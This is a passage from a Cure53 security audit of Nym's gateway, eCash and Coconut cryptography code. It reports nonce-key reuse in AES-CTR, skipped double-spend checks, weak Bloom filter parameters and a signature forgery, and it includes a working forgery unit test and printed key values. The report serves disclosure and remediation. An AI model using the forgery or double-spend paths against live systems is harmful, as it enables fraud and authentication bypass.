-----END X25519 PRIVATE KEY-----
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

AES-128 key (in *ack_key.pem*):

```
-----BEGIN AES-128-CTR ACKNOWLEDGEMENTS KEY-----
QFR9rgdoJ9Xxj1RKyaChIg==
-----END AES-128-CTR ACKNOWLEDGEMENTS KEY-----
```

Derived_aes128_ctr_blake3_hmac_keys_bs58 (in *gateways_registrations.sqlite*):

```
9xZkGG5Nh5hkzFUw2CzyNBREceKCVwTh2dhxoyGnqHMn
FYc5vpB6dYGAdwcGMoJvKMfyjgw2t47Mzx13gMencULp
[...]
```

To mitigate this issue, Cure53 recommends storing the user credentials and the key material in the iOS keychain, to ensure protection at rest. Alternatively, such information could be kept - encrypted - in the local storage, and the keychain could be leveraged to store the encryption keys, similarly to what is done in the Android app by the use of encrypted shared preferences. Note that the keychain items are now accessible *AfterFirstUnlock*, which means that they are not omitted from iCloud backups. This should be taken into consideration when sensitive data is stored in the keychain, in order to avoid leakage via backups (changing the accessibility to *AfterFirstUnlockThisDeviceOnly*).

NYM-01-027 WP3: Nonce-key reuse in AES-CTR in Nym gateways *(**Critical**)*

During a source code review of the *nym* repository, it was identified that the communication between gateway and clients suffers from a major cryptographic flaw. In fact, it was discovered that the handshake between Nym gateways and clients, as well as the following communication based on WebSocket handlers, encrypt data using AES-CTR and a unique, non-rotating key, together with a constant zero nonce. This in turn puts all communication at risk in the case that a single plaintext leaks to an attacker, since it enables the attacker to break the encryption in place by applying simple XOR operations between ciphertexts and the leaked plaintext.

The excerpt below demonstrates the handshake between client and gateway from the client's perspective. The client derives a shared key through a DH followed by a HKDF step, performed in the function *derive_shared_key*. After generating the shared key, the client decrypts the message from the gateway in the *verify_remote_key_material* function, and encrypts a message for the gateway in the *prepare_key_material_sig* function using the same key.

Affected file #1:
nym/gateway/gateway-requests/src/registration/handshake/client.rs

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code #1:

```
ClientHandshake {
    handshake_future: Box::pin(async move {
        [...]
        // hkdf::<blake3>::(g^xy)
        state.derive_shared_key(&remote_ephemeral_key);
        let verification_res =
            state.verify_remote_key_material(&remote_key_material,
&remote_ephemeral_key);
        check_processing_error(verification_res, &mut state).await?;

        // AES(k, sig(client_priv, (g^y || g^x))
        let material =
state.prepare_key_material_sig(&remote_ephemeral_key);
        [...]
        Ok(state.finalize_handshake())
    }),
```

As highlighted in the excerpt below, the functions *prepare_key_material_sig* and *verify_remote_key_material* both use the same shared key together with a zero nonce for encryption and decryption using AES-CTR (i.e. the value of *GatewayEncryptionAlgorithm*).

Affected file #2:
nym/gateway/gateway-requests/src/registration/handshake/state.rs

Affected code #2:

```
pub(crate) fn prepare_key_material_sig(
    &self,
    remote_ephemeral_key: &encryption::PublicKey,
) -> Vec<u8> {
    [...]
    let zero_iv = stream_cipher::zero_iv::<GatewayEncryptionAlgorithm>();
    stream_cipher::encrypt::<GatewayEncryptionAlgorithm>(
        self.derived_shared_keys.as_ref().unwrap().encryption_key(),
        &zero_iv,
        &signature.to_bytes(),
    )
}
[...]
pub(crate) fn verify_remote_key_material(
    &self,
    remote_material: &[u8],
    remote_ephemeral_key: &encryption::PublicKey,
) -> Result<(), HandshakeError> {
    [...]
    let derived_shared_key = self
        .derived_shared_keys
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        .as_ref()
        .expect("shared key was not derived!");

    // first decrypt received data
    let zero_iv = stream_cipher::zero_iv::<GatewayEncryptionAlgorithm>();
    let decrypted_signature =
stream_cipher::decrypt::<GatewayEncryptionAlgorithm>(
        derived_shared_key.encryption_key(),
        &zero_iv,
        remote_material,
    );

    [...]
}
```

After the handshake is completed, the gateway uses the function *encrypt_and_tag* to encrypt messages via the *BinaryRequest* and *BinaryResponse* structs for the derived shared key and zero nonce. The code excerpt below demonstrates the use of the zero nonce together with the shared key in the *encrypt_and_tag* function.

Affected file #3:
nym/gateway/gateway-requests/src/registration/handshake/shared_key.rs

Affected code #3:

```
pub fn encrypt_and_tag(
    &self,
    data: &[u8],
    iv: Option<&IV<GatewayEncryptionAlgorithm>>,
) -> Vec<u8> {
    let encrypted_data = match iv {
        [...]
        None => {
            let zero_iv =
stream_cipher::zero_iv::<GatewayEncryptionAlgorithm>();
            stream_cipher::encrypt::<GatewayEncryptionAlgorithm>(
                self.encryption_key(),
                &zero_iv,
                data,
            )
        }
    };
    [...]
}
[...]
pub fn encryption_key(&self) -> &CipherKey<GatewayEncryptionAlgorithm> {
    &self.encryption_key
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Reusing the same key together with the same nonce in a stream cipher like AES-CTR breaks the confidentiality of data in the case that a single plaintext leaks to an attacker. Hence, to prevent nonce collisions, Cure53 strongly recommends changing the encryption scheme of gateway communication to a more robust scheme, such as, for example AES-GCM-SIV[5].

NYM-01-030 WP3: Gateway skips credential serial number check *(**Critical**)*

The Nym API's high-level offline eCash route for ticket verification (*/verify-ecash-ticket*) fails to implement the Bloom filter-based check that is meant to ensure that the same credential is not used twice. The code for this is marked as "TODO", and the relevant Bloom filter checks are implemented outside of the offline eCash verification function. Instead, they are implemented in multiple parts of the Nym gateway code.

However, the Nym gateway code includes verification paths that also skip the Bloom filter check. This, in turn, results in critical code paths that skip the credential serial number checks completely. This potentially allows for credentials to be used more than once, resulting in a double-spend attack.

The excerpt below demonstrates the *verify_ticket* function, corresponding to the high-level API entry point. It is evident that the high-level offline eCash API does not implement the Bloom filter check.

Affected file #1:
nym-api/src/ecash/api_routes/mod.rs

Affected code #1:

```
#[post("/verify-ecash-ticket", data = "<verify_ticket_body>")]
pub async fn verify_ticket(
    // TODO in the future: make it send binary data rather than json
    verify_ticket_body: Json<VerifyEcashTicketBody>,
    state: &RocketState<State>,
) -> Result<Json<EcashTicketVerificationResponse>> {
    [...]
    // TODO:
    // if state.check_bloomfilter(sn).await {
    //
    // }

    // actual double spend detection with storage
    if let Some(previous_payment) = state
        .get_ticket_data_by_serial_number(&credential_data.encoded_serial_n
umber())
        .await?
```

[5] https://docs.rs/aes-gcm-siv/latest/aes_gcm_siv/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    {
        match nym_compact_ecash::identify::identify(
            &credential_data.payment,
            &previous_payment.payment,
            credential_data.pay_info,
            previous_payment.pay_info,
        ) {
            IdentifyResult::NotADuplicatePayment => {} //SW NOTE This
should never happen, quick message?
            IdentifyResult::DuplicatePayInfo(_) => {
                log::warn!("Identical payInfo");
                return
reject_ticket(EcashTicketVerificationRejection::ReplayedTicket);
            }
            IdentifyResult::DoubleSpendingPublicKeys(pub_key) => {
                [...]
                return
reject_ticket(EcashTicketVerificationRejection::DoubleSpend);
            }
        }
    }
    [...]
    //add to bloom filter for fast dup detection
    state.update_bloomfilter(sn).await;
    [...]
}
```

The Nym gateway calls *verify_ticket* in two code paths:

- *send_pending_ticket_for_verification*[6]: This code path skips the Bloom filter check despite it not being implemented in *verify_ticket*. This problem is further compounded by the fact that *resolve_pending*, which attempts to resolve all pending transactions, also calls *send_pending_ticket_for_verification*, meaning that pending transactions all go through *send_pending_ticket_for_verification* and therefore also skip the Bloom filter check.
- *handle_ecash_bandwidth*[7]: This code path implements the Bloom filter check outside of *verify_ticket* and before calling *verify_ticket*, and is therefore not vulnerable.

As shown below, *send_pending_ticket_for_verification,* unlike *handle_ecash_bandwidth*, does not implement the Bloom filter check prior to calling the offline eCash API's *verify_ticket*.

[6] *gateway/src/node/client_handling/websocket/connection_handler/ecash/credential_sender.rs*
[7] *gateway/src/node/client_handling/websocket/connection_handler/authenticated.rs*

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file #2:
gateway/src/node/client_handling/websocket/connection_handler/ecash/credential_sender.rs

Affected code #2:

```
async fn send_pending_ticket_for_verification(
        &self,
        pending: &mut PendingVerification,
        api_clients: Option<RwLockReadGuard<'_, Vec<EcashApiClient>>>,
    ) -> Result<bool, EcashTicketError> {
        let ticket_id = pending.ticket.ticket_id;
        [...]
        let verification_request =
pending.to_request_body(self.shared_state.address.clone());
        [...]
        futures::stream::iter(
            api_clients
                .deref()
                .iter()
                .filter(|client| pending.pending.contains(&client.node_id)),
        )
        .for_each_concurrent(32, |ecash_client| async {
            // errors are only returned on hard, storage, failures
            match self
                .verify_ticket(
                    pending.ticket.ticket_id,
                    &verification_request,
                    ecash_client,
                )
                .await
            {
                [...]
            }
        })
        .await;
```

As shown below, *send_ticket_for_verification* and *resolve_pending* both rely on the vulnerable code path *send_pending_tickets_for_verification*.

Affected file #3:
gateway/src/node/client_handling/websocket/connection_handler/ecash/credential_sender.rs

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code #3:

```
async fn send_ticket_for_verification(
        &mut self,
        ticket: ClientTicket,
    ) -> Result<(), EcashTicketError> {
        [...]
        let got_quorum = self
            .send_pending_ticket_for_verification(&mut pending,
Some(api_clients))
            .await?;
        [...]
    }

    async fn resolve_pending(&mut self) -> Result<(), EcashTicketError> {
        [...]
        while let Some(mut pending) = self.pending_tickets.pop() {
            // possible optimisation: if there's a lot of pending tickets,
pre-emptively grab locks for api_clients
            match self
                .send_pending_ticket_for_verification(&mut pending, None)
                .await
            {
                [...]
            }
        }
        [...]
    }
```

It is recommended to ensure that all missing Bloom filter checks are correctly implemented across all code paths, preferably in a unique and centralized code path, in order to avoid situations where some code paths end up missing critical checks.

NYM-01-032 WP3: Bloom filter parameters yield false positives *(High)*

It was observed that the current Bloom filter configuration used by gateways utilizes the following constants:

- *k = 13*
- *m = 250,000*

Assuming 40,000 entries (*n = 40,000*) within a Bloom filter that uses the parameters indicated above, it can be deduced that the value of *p*, corresponding to the false positive factor, is equal to the expression shown below.

False positive factor:

```
p = pow(1 - exp(-13 / (250000 / 40000)), 13) ~= 0.176 ~= 1/6
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

From this it can be concluded that the rate of false positives corresponds roughly to 1 out of 6.

It is reasonable to assume that a gateway's Bloom filter will almost certainly have more than 40,000 credentials. This is justified based on the following observations:

- **Data allowance:** A Nym VPN user is allowed a maximum of 100 GB per month.
- **Allowance per credential:** Each credential allows for a 100 MB bandwidth for the user.
- **Credential limit:** Each user may use up to 1,000 credentials per month, per gateway, with a cap of 2,000 credentials per month in total.

Based on these observations, and assuming that each user uses, on average, 10 GB of data per month, Cure53 arrives at an estimate of 20 credentials per user per month. In this scenario, a Nym gateway would only need to accommodate 2,000 users in order to reach the aforementioned false positive rate (1 out of 6), thereby severely hindering the proper functioning of the Nym network.

Affected file:
common/network-defaults/src/lib.rs

Affected code:

```
pub const BLOOM_NUM_HASHES: u32 = 13;
pub const BLOOM_BITMAP_SIZE: u64 = 250_000;
pub const BLOOM_SIP_KEYS: [(u64, u64); 2] = [
    (12345678910111213141, 1415926535897932384),
    (7182818284590452353, 3571131171923293137),
];
```

It is recommended to instead switch to using Binary Fuse filters, as suggested also in the recommendation of issue NYM-01-001. Failing that, it is recommended that more appropriate Bloom filter parameters be adopted, like for example *m = 4,000,000*.

NYM-01-033 WP5: Signature forgery of Pointcheval-Sanders scheme *(Critical)*

The Coconut crate provides support for (partial) signing of credentials necessary to interact with the Nym platform. Credentials correspond to attributes, and there exist both private and public attributes. For private attributes, the Coconut protocol first blinds the private attributes before the signer signs them, whereas public attributes do not require such a blinding step. The Coconut crate uses elliptic curve cryptography over the BLS12-381 curve to compute signatures. It was found that signatures on public attributes created via the *sign* function of the *issuance.rs* file, corresponding to Pointcheval-Sanders signatures[8] and exported publicly by the Coconut library of Nym, are vulnerable to signature forgery.

[8] https://eprint.iacr.org/2015/525.pdf

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It was investigated which parts in-scope of this assessment explicitly depend on the vulnerable function, and it was identified that parts of *wasm/zknym-lib* as well as numerous unit-tests depend on the vulnerable function. It must be pointed out that other components that have not been in-scope for this review may also depend on it, as the vulnerable function corresponds to a high-level function publicly exported through the API of the Coconut library.

The vulnerability allows an attacker to generate new signatures from existing signatures via linear combinations thereof. Depending on the usage of the signing scheme, and which values are signed using the scheme, this could lead to authentication and authorization bypasses, and even financial harm.

To demonstrate the attack, it is important to formalize the signature scheme the Coconut crate exposes for public attributes, corresponding to a Pointcheval-Sanders signature. The pseudocode below describes the signing function.

Pseudocode of the signature scheme:

$H = hash\_to\_g1((a_1 + \dots + a_n)*G_1)$
$S_1 = H$
$S_2 = (x+a_1*y_1 + a_2*y_2 + \dots + a_n*y_n)*H$

The values $a_1,...,a_n$ denote the public attributes, corresponding to scalars. First, the scheme sums all the public attributes, and multiplies the resulting sum with the base point G_1. The scheme then hashes the resulting point to the curve, yielding a point H (denoted also by S_1). It must be noted that the original proposal of Pointcheval-Sanders signature clarifies that the point H must be chosen randomly for each signing operation. The scheme next sums the private key x and the products of private subkeys y_i and the attributes a_i, and multiplies the resulting scalar with the point H (denoted by S_2).

The attack exploits the fact that the signature scheme uses the sum of the public attributes when deriving the point H, as it fails to take into account the indices of the public attributes $a_1,...,a_n$. To forge a signature for the public attributes *[a/2, a/2]*, the attacker solely requires the knowledge of the signatures for *[a, 0]* and *[0, a]*. The excerpts below highlight the resulting signatures respectively.

Signature for $a_1=a$, $a_2=0$:

$S_1 = hash\_to\_g1((a_1 + 0)*G_1) = hash\_to\_g1(a*G_1) = H$
$S_2 = (x+\mathbf{a*y_1})*H$

Signature for $a_1=0$, $a_2=a$:

$S_1' = hash\_to\_g1((0 + a_2)*G_1) = hash\_to\_g1(a*G_1) = H$
$S_2' = (x+\mathbf{a*y_2})*H$

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It must be noted that both values S_1 and S_1' result in the same point H. Furthermore, the values of S_2 and S_2' contain parts of the subkeys y_1 and y_2 respectively. By weighting the values of S_2 and S_2' with ½ each, and linearly combining them, the attacker is able to construct a valid signature for *[a/2, a/2]*, as shown below. It must be noted that the point of S_1'' results in the same value as for S_1 and S_1'.

Compute the forged signature for a_1=a/2, a_2=a/2:

$S_1'' = \text{hash\_to\_g1}((a_1 + a_2)*G_1)$
$= \text{hash\_to\_g1}((a/2 + a/2)*G_1)$
$= \text{hash\_to\_g1}(a*G_1) = S_1 = S_1' = H$

$S_2'' = (1/2)*S_2 + (1/2)*S_2' = (x/2+a/2*y_1)*H + (x/2+a/2*y_2)*H$
$= (x+a/2*y_1+a/2*y_2)*H$

The unit test below demonstrates the vulnerability by constructing forged signatures from valid signatures. The test can be added to the *verification.rs* file of the Coconut crate, and it requires importing the *sign* function from the *issuance.rs* file.

Unit test (added to verification.rs in Coconut crate):

```
#[test]
fn forge_signature_via_linear_comb_2() {
    let params = Parameters::new(4).unwrap();

    let scalar_2 = Scalar::one() + Scalar::one();
    let scalar_2_inv = Scalar::invert(&scalar_2).unwrap();

    //#1
    let a = params.random_scalar();
    let zero = Scalar::zero();
    let a_zero = vec![&a, &zero];
    let zero_a = vec![&zero, &a];

    let validator_keypair = keygen(&params);

    //#2
    let sig_a_zero = sign(&params, validator_keypair.secret_key(),
&a_zero).unwrap();
    let sig_zero_a = sign(&params, validator_keypair.secret_key(),
&zero_a).unwrap();

    assert!(verify(&params, validator_keypair.verification_key(), &a_zero,
&sig_a_zero));
    assert!(verify(&params, validator_keypair.verification_key(), &zero_a,
&sig_zero_a));

    //#3
    let h0 = sig_a_zero.0;
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    let h1 = &scalar_2_inv * &sig_a_zero.1 + &scalar_2_inv * &sig_zero_a.1;
    let forged_signature = Signature(h0, h1);
    let a_half = a*scalar_2_inv;
    let new_plaintext = vec![&a_half, &a_half];

    assert!(verify(&params, validator_keypair.verification_key(),
&new_plaintext, &forged_signature));

    //#4
    let scalar_3 = Scalar::one() + Scalar::one() + Scalar::one();
    let scalar_4 = Scalar::one() + Scalar::one() + Scalar::one() +
Scalar::one();
    let scalar_4_inv = Scalar::invert(&scalar_4).unwrap();
    let scalar_3_over_4 = scalar_3 * scalar_4_inv;

    let h1_2 = &scalar_4_inv * &sig_a_zero.1 + &scalar_3_over_4 *
&sig_zero_a.1;
    let forged_signature_2 = Signature(h0, h1_2);
    let a_quarter = a*scalar_4_inv;
    let a_3_over_4 = a*scalar_3_over_4;
    let new_plaintext_2 = vec![&a_quarter, &a_3_over_4];
    assert!(verify(&params, validator_keypair.verification_key(),
&new_plaintext_2, &forged_signature_2));
}
```

The test above first creates a new random scalar at mark #1. Next, the test constructs signatures for the public attributes *[a, 0]* and *[0, a]* at mark #2. Using these signatures, the test then computes a valid signature at mark #3 from the signatures of *[a, 0]* and *[0, a]* by multiplying the respective signature parts with the inverse of 2, and summing the resulting parts into a forged signature for the public attributes *[a/2, a/2]*. Similarly, at mark #4 the test constructs another forged signature for the attributes *[a/4, 3a/4]*. Running the test results in the output shown below, and demonstrates the vulnerability as the test passes all signature verifications.

Output:

```
running 1 test
test scheme::verification::tests::forge_signature_via_linear_comb_2 ... ok

successes:

successes:
    scheme::verification::tests::forge_signature_via_linear_comb_2

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 48 filtered
out; finished in 0.02s
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The code excerpt below demonstrates the *sign* function exported through the *issuance.rs* file of the Coconut crate. The function computes the point *H* for signing the public attributes by summing them into a scalar, multiplying the sum with the base point of G_1 and hashing the resulting point to curve. It evidently fails to take into account the location of the public attributes in the *public_attributes* array.

Affected file #1:
nym/common/nymcoconut/src/scheme/issuance.rs

Affected code #1:

```
/// Creates a Coconut Signature under a given secret key on a set of public
attributes only.
pub fn sign(
    params: &Parameters,
    secret_key: &SecretKey,
    public_attributes: &[&Attribute],
) -> Result<Signature> {
    if public_attributes.len() > secret_key.ys.len() {
        return Err(CoconutError::IssuanceMaxAttributes {
            max: secret_key.ys.len(),
            requested: public_attributes.len(),
        });
    }
    [...]
    let attributes_sum = public_attributes.iter().copied().sum::<Scalar>();
    let h = hash_g1((params.gen1() * attributes_sum).to_bytes());

    // x + m0 * y0 + m1 * y1 + ... mn * yn
    let exponent = secret_key.x
        + public_attributes
            .iter()
            .zip(secret_key.ys.iter())
            .map(|(&m_i, y_i)| m_i * y_i)
            .sum::<Scalar>();

    let sig2 = h * exponent;
    Ok(Signature(h, sig2))
}
```

The excerpt below demonstrates that the vulnerable *sign* function is exposed via the Coconut crate of Nym.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file #2:
nym/common/nymcoconut/src/lib.rs

Affected code #2:
```
[...]
pub use scheme::issuance::sign;
[...]
```

To mitigate this issue Cure53 strongly recommends implementing an approach that takes into account the array structure of public attributes when deriving the point *H* of the signature. For example, instead of summing the individual public attributes into a scalar, the signer could serialize the array of public attributes into a byte array and prepend it by its length. Furthermore, the individual public attributes should also be prefixed into the resulting array with their respective lengths.

NYM-01-034 WP3: Nym network monitors have no persistent identity *(Medium)*

It was observed that the Nym network monitor generates fresh long-term identity keys each time the application is initialized. This practice undermines the security and integrity of the network monitoring system:

- **Lack of persistent identity:** The generation of fresh long-term identity keys on each initialization means that the network monitor does not maintain a consistent identity over time. This can disrupt the ability to verify the authenticity and integrity of the monitor's actions and reports.
- **Inability to establish trust:** Without persistent keys, the network monitor cannot build trust with other components of the system. This could lead to difficulties in authenticating and authorizing the monitor's communications and actions.
- **Potential for Man-in-the-Middle (MitM) attacks:** The use of changing keys may expose the network to MitM attacks, where an adversary could impersonate the network monitor during its key regeneration phase.

Affected file:
nym-api/src/network-monitor/mod.rs

Affected code:
```
pub(crate) async fn build<R: MessageReceiver + Send + 'static>(
        self,
    ) -> NetworkMonitorRunnables<R> {
        // TODO: those keys change constant throughout the whole execution
of the monitor.
        // and on top of that, they are used with ALL the gateways ->
presumably this should change
        // in the future
        let mut rng = rand::rngs::OsRng;
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        let identity_keypair = Arc::new(identity::KeyPair::new(&mut rng));
        let encryption_keypair = Arc::new(encryption::KeyPair::new(&mut
rng));
        let ack_key = Arc::new(AckKey::new(&mut rng));
```

It is recommended to implement a persistent key storage, ensuring that the identity keys are generated once and stored securely. On subsequent initializations, the application can retrieve these keys from a secure storage rather than generating new ones. If key rotation is necessary for security reasons, it is advised to implement a controlled key rotation strategy that allows for seamless transition and key revocation without compromising the monitor's identity.

NYM-01-042 WP5: Faulty aggregation to invalid offline eCash signatures *(Critical)*

It was observed that Nym's Rust offline eCash implementation contains a signature aggregation function which is potentially vulnerable to accepting and producing invalid aggregated signatures. Specifically, if two signatures of the form (∞, s) and $(\infty, -s)$ are provided as inputs, the resulting aggregated signature would be $(\infty, 0) = (\infty, \infty)$ since the zero point corresponds to the neutral element of the group, i.e. the point at infinity. Reviewing the code revealed that it is possible to construct a list of signatures where the last signature of the list annihilates the aggregation result of the previous signatures in the list, effectively resulting in (∞, ∞). This invalid aggregated signature may cause the system to behave unexpectedly during verification.

An attacker could exploit this vulnerability by submitting signatures designed to aggregate into an invalid signature, leading to DoS, or bypassing certain security checks depending on how the system handles such failures.

The excerpt below demonstrates the issue. It is clear that the *aggregate_signatures* function aggregates all the received signatures into a single signature, and that the function fails to consequently check if the resulting aggregate corresponds to the point at infinity on the curve.

Affected file #1:
nym/common/nym_offline_compact_ecash/src/scheme/aggregation.rs

Affected code #1:

```
pub fn aggregate_signatures(
    verification_key: &VerificationKeyAuth,
    attributes: &[Attribute],
    signatures: &[PartialSignature],
    indices: Option<&[SignerIndex]>,
) -> Result<Signature> {
    let params = ecash_group_parameters();
    // aggregate the signature
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    let signature = match Aggregatable::aggregate(signatures, indices) {
        Ok(res) => res,
        Err(err) => return Err(err),
    };

    // Verify the signature
    let tmp = attributes
        .iter()
        .zip(verification_key.beta_g2.iter())
        .map(|(attr, beta_i)| beta_i * attr)
        .sum::<G2Projective>();

    if !check_bilinear_pairing(
        &signature.h.to_affine(),
        &G2Prepared::from((verification_key.alpha + tmp).to_affine()),
        &signature.s.to_affine(),
        params.prepared_miller_g2(),
    ) {
        return Err(CompactEcashError::AggregationVerification);
    }
    Ok(signature)
}
```

The excerpt below demonstrates the *check_bilinear_pairing* function, used by the *aggregate_signatures* function. It is evident that also this function fails to validate for points at infinity within the provided signatures.

Affected file #2:
nym/common/nym_offline_compact_ecash/src/utils.rs

Affected code #2:

```
pub fn check_bilinear_pairing(p: &G1Affine, q: &G2Prepared, r: &G1Affine,
s: &G2Prepared) -> bool {
    // checking e(P, Q) * e(-R, S) == id
    // is equivalent to checking e(P, Q) == e(R, S)
    // but requires only a single final exponentiation rather than two of
them
    // and therefore, as seen via benchmarks.rs, is almost 50% faster
    // (1.47ms vs 2.45ms, tested on R9 5900X)

    let multi_miller = multi_miller_loop(&[(p, q), (&r.neg(), s)]);
    multi_miller.final_exponentiation().is_identity().into()
}
```

The excerpt below demonstrates the *aggregate* function for *PartialSignature*s structures. It must be noted that a *PartialSignature* together with the *index* of a signer corresponds to public information.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

From the *aggregate* function it is clear that the implementation fails to validate the provided, individual signature shares for invalid signatures. Instead, the *aggregate* function computes the resulting aggregated signature through summing the results of polynomial interpolation, which could be annihilated via the last summand through an attacker by accordingly preparing such a final signature share. Therefore, an attacker could craft the last signature to annihilate the previous contributions in the second part of the signature tuple, and set the first part of the signature tuples, i.e. the value *h*, to the infinity point, as signatures are not validated individually.

Affected file #3:
nym/common/nym_offline_compact_ecash/src/scheme/aggregation.rs

Affected code #3:

```
impl<T> Aggregatable for T
where
    T: Sum,
    for<'a> T: Sum<&'a T>,
    for<'a> &'a T: Mul<Scalar, Output = T>,
{
    fn aggregate(aggregatable: &[T], indices: Option<&[u64]>) -> Result<T>
{
        [...]
        if let Some(indices) = indices {
            if !Self::check_unique_indices(indices) {
                return Err(CompactEcashError::AggregationDuplicateIndices);
            }
            perform_lagrangian_interpolation_at_origin(indices,
aggregatable)
        }[...]
    }
}

impl Aggregatable for PartialSignature {
    fn aggregate(sigs: &[PartialSignature], indices: Option<&[u64]>) ->
Result<Signature> {
        let h = sigs
            .first()
            .ok_or(CompactEcashError::AggregationEmptySet)?
            .sig1();

        // TODO: is it possible to avoid this allocation?
        let sigmas = sigs.iter().map(|sig|
*sig.sig2()).collect::<Vec<_>>();
        let aggr_sigma = Aggregatable::aggregate(&sigmas, indices)?;

        Ok(Signature {
            h: *h,
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                s: aggr_sigma,
            })
        }
    }
```

It is recommended to add checks to ensure that input signatures do not have components at infinity, among other potentially problematic inputs like inputs that yield a point at infinity after aggregating them. Implementing the recommended checks will prevent the creation of invalid aggregated signatures, and will enhance the overall security of the system.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit, but which may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

NYM-01-001 WP3: Bloom filter migration to Binary Fuse filters *(Low)*

The Nym gateway uses Bloom filters - probabilistic data structures - in order to account for duplicate credential usage and other double spending situations. Bloom filters, while effective, have been largely superseded by Binary Fuse filters[9] which are superior on a number of fronts:

- **Memory efficiency:** Binary Fuse filters tend to be more memory-efficient than Bloom filters, achieving lower false positive rates for the same memory usage.
- **Query performance:** Binary Fuse filters generally offer faster query times due to their optimized structure.

The findings documented in NYM-01-032 imply that the Nym gateway is already struggling to achieve a sensible false positive rate with Bloom filters without using parameters that pose a significant hindrance towards efficiency and performance. Migrating to Binary Fuse filters may further aid the Nym stack in providing a probabilistic data structure with a low false positive rate, while maintaining superior performance. The *xorf* Rust library[10] provides a reliable implementation of an entire family of Binary Fuse filters, and may be suitable as a drop-in replacement into the Nym stack.

NYM-01-002 WP5: Constant zero nonces in AES-CTR for Sphinx protocol *(Low)*

While reviewing the Sphinx protocol implementation of the *nym* repository it was found that the Sphinx protocol uses a stream cipher to protect the confidentiality of data. Stream ciphers generate a constant stream of key bits that the cipher XORs with the plaintext to be encrypted. To generate the key stream, the stream cipher requires a nonce (referred to also as initialization vector), intended to be used only once for a given key. It was found that the Sphinx protocol implementation of the Nym platform uses a constant nonce, namely the zero nonce.

It must be noted though that the Sphinx protocol utilizes new encryption keys for each encrypted packet. However, as it remains unclear whether keys may get reused at some point, in the future or solely by accident, it is in general considered good security hygiene to create a fresh nonce for every encryption operation.

[9] https://arxiv.org/abs/2201.01174
[10] https://docs.rs/xorf/latest/xorf/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The excerpt highlights the issue. It is clear that the encryption of the payload uses a stream cipher, together with a zero initialization vector, for all payloads.

Affected file:
nym/common/nymsphinx/src/preparer/payload.rs

Affected code:

```
fn build<C>(
    self,
    packet_encryption_key: &CipherKey<C>,
    variant_data: impl IntoIterator<Item = u8>,
) -> Result<NymPayload, SurbAckRecoveryError>
where
    C: StreamCipher + KeyIvInit,
{
    let (_, surb_ack_bytes) = self.surb_ack.prepare_for_sending()?;

    let mut fragment_data = self.fragment.into_bytes();
    stream_cipher::encrypt_in_place::<C>(
        packet_encryption_key,
        &stream_cipher::zero_iv::<C>(),
        &mut fragment_data,
    );
    [...]
}
```

To mitigate this issue Cure53 advises to create a new random initialization vector for each and every encryption operation.

NYM-01-003 WP5: Panics in Sphinx protocol due to short packets *(Medium)*

Mix nodes of the Nym platform use the Sphinx protocol to obfuscate traffic through the mixnet. The goal of Sphinx is to anonymize and obfuscate the sender and recipient of packets, in order to prevent censorship or the selective blocking of traffic. It was found that the handlers for parsing incoming Sphinx packets fail to validate the lengths of packets with regards to their expected lengths.

This allows an attacker to inject faulty Sphinx packets of insufficient lengths to mix nodes. The mix nodes attempt to process these messages, and fail to validate the observed packet with regards to their expected lengths. When trying to reconstruct (parts of) the packet, the mix nodes read out-of-bounds, which raises a panic in Rust. Hence, the mix nodes will crash if the panics are not handled, resulting in a DoS situation.

The issue was discussed with, and confirmed by the customer. The customer requested that the team collect all panic situations in Sphinx within this ticket for later remediation.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The excerpt below demonstrates the *from_bytes* function of the *reply_surb.rs* file. It is evident that the function fails to validate if the *bytes* parameter is of sufficient length.

Affected file #1:
nym/common/nymsphinx/anonymous-replies/src/reply_surb.rs

Affected code #1:
```
pub fn from_bytes(bytes: &[u8]) -> Result<Self, ReplySurbError> {
